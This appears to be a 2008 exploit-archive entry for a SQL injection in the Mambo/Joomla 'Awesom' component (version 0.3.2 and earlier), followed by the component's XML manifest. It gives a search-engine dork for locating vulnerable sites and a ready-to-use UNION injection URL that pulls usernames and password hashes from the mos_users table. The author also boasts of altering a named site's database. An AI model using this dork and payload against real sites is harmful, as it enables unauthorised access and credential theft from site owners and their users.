[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Mambo Component Awesom <= 0.3.2 (listid) SQL Injection Vulnerability
# Published : 2008-02-04
# Author : S@BUN
# Previous Title : XOOPS 2.0.18 Local File Inclusion / URL Redirecting Vulnerabilities
# Next Title : Mambo Component Shambo2 (Itemid) Remote SQL Injection Vulnerability


#########################################################################
#
# joomla SQL Injection(com_awesom)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
#
#    DORKS 1 : allinurl :"com_awesom"
#
#   
#########################################################################   
# 
#    ?± changed ATAT??RK.com's db.  soo dont look
#
#   ATAT??RK.com db si de??i??tirilip kullan?±c?±s?±na bildirilmi??tir.
#
##########################################################################
EXPLOIT :

index.php?option=com_awesom&Itemid=S@BUN&task=viewlist&listid=-1/**/union/**/select/**/null,concat(username,0x3a,password),null,null,null,null,null,null,null/**/from/**/mos_users/*


##########################################################################
# S@BUN                   www.hackturkiye.com               S@BUN
##########################################################################
# S@BUN                        GOOD LUCKY                    S@BUN
##########################################################################

	<name>Awesom</name>
	<creationDate>24/05/2004</creationDate>
	<author>Madd0</author>
	<copyright>This component is released under the GNU/GPL License</copyright>
	<authorEmail>madd0@users.sourceforge.net</authorEmail>

	<authorUrl>amazoop.sourceforge.net</authorUrl>
	<version>0.3.2</version>
	<description>Awesom!, or Amazon Web Services for Opensource Mambo, is a component that lets you 
		create lists of products to feature on your Mambo-driven site.<br />
		These lists can be customized or can be automatically generated with information provided 
		by Amazon through Amazon Web Services.<br />
		Additionally, if you are an Amazon associate, you can configure Awesom to link to Amazon 
		using your associate ID in order to earn comissions.
	</description>

# www.Syue.com [2008-02-04]